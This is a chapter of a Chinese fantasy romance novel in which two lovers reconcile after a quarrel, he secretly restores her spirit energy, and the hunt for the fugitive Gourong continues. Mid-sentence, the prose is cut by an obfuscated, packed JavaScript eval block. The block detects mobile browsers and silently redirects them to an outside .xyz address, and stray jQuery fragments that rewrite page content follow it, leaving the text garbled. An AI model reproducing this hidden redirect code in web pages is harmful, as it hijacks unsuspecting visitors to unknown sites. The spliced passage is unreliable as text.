良久，花漫野只是怔怔看着他。而后低下头，垂着眼帘不知在想什么。


    一腔炽热渐渐凝固，祝陌归心里愈发没底。


    他身体稍向前探，看到她睫毛轻颤两下，声音中带着浓浓的沮丧：


    “寒烟，你告白那晚，我当时……不知道自己会做得这么差劲。我以为我慢慢学，总会让你觉得幸福。”


    花漫野的声音轻飘飘的，气息有些不稳：“可我好像想错了，我给出的爱于你而言，毫无安全感；我曾经给你带来那么多的惊魂时刻、总在让你担心，所以这次回来苍川，是打算让你见到的我都是安稳的、健康的、安全的。我本以为，这样你会安心、会高兴。”


    “还有昨天，明明我已经让你伤心了，但你还是把自己哄好了来体谅我的疏忽，明明是我的问题的。今天，我想着你气还没消、我又没受什么重伤，所以不想说那些不重要的过程让你更担心，所以才没提，结果又是…………”


    她说到这里，停了下来，努力调整着呼吸、让自己的声音平顺些。


    祝陌归原本蹙眉听着，听到这句忍不住问：“如果你的亲身感受叫做‘不重要’，那么什么才是重要？之前你不是还叫我将心比心，那么咱俩换位思考，我和勾戎交手、就算被毒液侵蚀进胸前的旧伤、疼痛难言但没死，这与你而言会是‘不重要’吗？”


    花漫野光是听着就觉得心疼得紧，她猛地摇头否认，答：“不会，你最重要。”


    祝陌归看不到她的表情，可只靠声音判断也不难发觉她难过得厉害。于是松开她的手，改为双手捧上她的脸，道：“对吧？将心比心，我也一样啊……”


    花漫野被托着抬起脸，那落寞的神情仿佛在学堂考试得了倒数第一、一直耿耿于怀、直到夫子讲解题目时才发现自己的解题思路从一开始就是错的。


    她又一次沮丧地垂下眼帘，道：“我想，我好像有点懂了。”


    祝陌归看出她的情绪越来越低迷，但他向来能拿出十二万分的耐心来哄着她。他像年少时在澄池岸边帮她一起攻克难题时那样，循序渐进地柔声问：“真懂了？那要不要实践一下？”


    花漫野重新看向对面的人：“怎么实践？”


    “比如，你可以告诉我现在你在为什么而沮丧？”


    花漫野想了片刻，理顺了思路道：“因为……因为我受伤惹你不开心，还因此连累你没有好好休息，已经两夜了。连生气加奔波、还气得去冰河里洗了冷水澡、现在却还要坐在这里哄我、还要……”


    花漫野的话没说完，因为她的听众不再听下去了——他俯身过来，薄唇温柔地吻上了她的额头。


    “你说得都对，所以我来要补偿了。”额上柔软的触感停留了一会儿才缓缓移开，她听见他的声音轻轻响起，“现在，这几件事都两清了。”


    花漫野瞪着眼睛看他，没话接，只能一直看他。


    祝陌归望进那双碧蓝眼眸——此刻里面只有自己的影子。


    心中那团凝固的岩浆又重新沸腾起来，什么脾气水汽都被瞬间化为雀跃的泡泡、在心间越挤越多、简直快要溢出来。


    他无奈心想：


    这个连撒娇都不会的笨蛋……明明在父亲身边的时候一肚子的机灵点子，怎么到我这里偏偏就什么都忘了？说几句话而已，愣把自己逼到如此境地——她现在连耳朵尖都是烫的。


    可怎么办，好想把她变小些、揣在衣襟里……


    花漫野不知道祝陌归在想什么，但她看出此人的心情转为十分的好。


    自己的坏情绪似乎并没有给他带来负面的压力，而且在对他说出内心的想法后、自己居然也觉得轻松了些。


    明明什么都没有改变，但两个人的心境却都不一样了。


    明明是负累，但却又很减压，这就是所谓“甜蜜的负担”吗？


    “寒烟，我好像真的有点明白了。”


    祝陌归却笑了：“是吗？那正好。现在，我还有个问题要和你实践，咱们验证一下。”


    “？”


    他正色道：“刚才，你在做噩梦，现在还记得梦到了什么吗？”


    花漫野摇头：“不记得，我只记得梦里特别白，其他的什么印象都没有了。”


    祝陌归又问：“会不会是……传影时我吓到你了，所以才会睡不踏实？”


    花漫野下意识想要第一时间否认，但随即在祝陌归认真的眼神中想起两个人的新约定：自己在学着把烦恼和情绪交给他。


    她便如实说：“我睡前，确实一直在想那件事，纠结了好久你为什么更生气了来着……然后因为实在太累了，不小心睡着了。但我觉得不至于因此做噩梦，更大的可能是因为下午灵力损耗有些大，你别太草木皆兵了。”


    “…………看来新的沟通原则适应得不错，可你这就挑剔上我了？”祝陌归失笑，“不想让我草木皆兵，就把心里那些想法多和我说说，不然我只能自己猜、难免多想。”


    花漫野点头表示听进去了，又说：“说来也奇怪，昨天灵力损耗那么大，本应缓上两天才能恢复，没想到这一宿睡得那么差劲、居然还能觉得神腑丝毫没有空虚。”


    祝陌归没接话，只勾了勾嘴角。


    他转头看看天色，道：“天亮了，我得走了，你再睡会儿。”


    花漫野想留他，但也知道这里是石宫、机关遍地不比别处，再留下去容易暴露行迹。便道：“好，那你……万事小心。”


    她想了想，又说：“我今日大概会处理一到两处异化，虽然不知道每处具体情况如何，但强度大抵上与昨天的差不多。”


    祝陌归帮她理了理被角，道：“好，你如此交待一番我便心里有底了。不然还要一直胡思乱想，弄不好还会被人嫌弃，甚是可怜呐。”


    花漫野：“你明知道我不是那个意思！”


    祝陌归只笑着，继续说：“我已经确定勾戎藏匿地点的大概范围，在周围布下针对其半妖半魔内丹的追踪阵点，今日主要是将它们完善，一旦他出现便可第一时间追踪。”


    花漫野了然，心下佩服：


    连妖族以寻迹闻名的有苏氏都无法确定勾戎此时的位置，寒烟就这么轻易找出来了？


    难怪山妖族拼着豁出去老脸也要求得他出手相助，这等追踪的本领放眼六界怕是再找不到第二人了。


    她忽而道：“寒烟，勾戎遇上你，可真是憋屈，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16408300|175687||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    换成别人估计早被他给跑了。”


    祝陌归惊讶：“你难道还为他鸣不平？”


    花漫野眯起凤目，摇头晃脑：“我是为山妖族感到庆幸！此人唯一的克星被他们给精准发现了，而且还是个心软的，就这么答应帮他们了。”


    祝陌归屈指扣她的额头，眼神柔软：“我永远只对我唯一的克星心软，到底是谁先答应的？嗯？”


    花漫野笑弯了眼睛，耍赖不答。


    祝陌归心下一松：


    总算是把人哄笑了，像刚才那般一直皱着脸，自己可怎么安心离开？


    “我真得走了，你注意安全。”他起身，又在花漫野戴在右手无名指的心焰上点了点，提醒她有事要说。


    花漫野点头：“嗯，你也是。”


    她抱着被子目送祝陌归转身离开，发现自己早已经没有了困意，而且现在意外的灵力充沛。


    她下了榻、伸个懒腰，走到桌边去给自己倒了杯水，一边喝一边看向窗外祝陌归消失的方向，忽然察觉到一丝灵力流动的痕迹。


    虽然流动幅度很微小、但她确定自己没有看错，再凝神细看，原来整个房间都笼罩在一个围合的灵力场中，无形的灵流被刻意以最柔和的形态释放、缓缓萦绕其中。


    这力量强大而熟悉、与她的一枚灵核同源，所以自己置身其中才会没有丝毫觉察。


    花漫野敲敲心焰：“我说怎么灵力恢复得这样快，原来是有人趁我睡着了一直撑着灵力场给我吸收灵力。亏我差点信了你说的这一夜只是看着我睡觉，你个大骗子！”


    说完，她在阵眼处又敲了敲，催着那边撤阵。


    灵力场瞬间解除，识海中传回一声轻笑，算是回应。


    花漫野没有浪费室内盈余的这些灵力，将它们全部引导在一处、凝聚成一枚圆圆的微小的灵蕴，上面赤金洒落、烟波流转、矜贵优雅，像极了它的主人。


    她把这枚小小灵蕴贴身收好，走出卧房去楼下吃饭了。


    勾戎重伤、自顾不暇，所以苍川的异化碎片数目没有再继续增多。


    碎片清除的步骤也逐渐固定下来：扈星帆带她们找到碎片的具体位置、有苏问疆用罗盘除开表面的迷障、花漫野再针对上面的不同力量对其清除。


    每天从原来的只能清除一到两处、逐渐发展成可以清除四处左右，十几天时间过去，苍川的绝大部分异化碎片都已经被清除，只剩少量几片被留到最后处理。


    最后那几处，皆是在探查过程中便发觉与其它碎片大不相同的，三人担心会很棘手、一致决定把它们放在最后处理。


    祝陌归那边也每天都传来新的进展：勾戎在第四天才有所动作，但他极其谨慎、全程都保持着隐匿状态，每天只前进一小段距离、路线也摇摆不定毫无规律，应是顾虑有苏氏追兵、在故布疑云。


    但近日，勾戎终于出了苍川城界，行迹路线开始明显拉长，在雪原中他的隐匿虽然变得更加费力，但相应的、追踪难度也升高到一个新的等级。


    祝陌归不再有时间经常回到石宫附近见花漫野，好在可以每日靠着心焰在识海中对话，彼此知道对方的最新进展，因此两人心里都比之前踏实不少。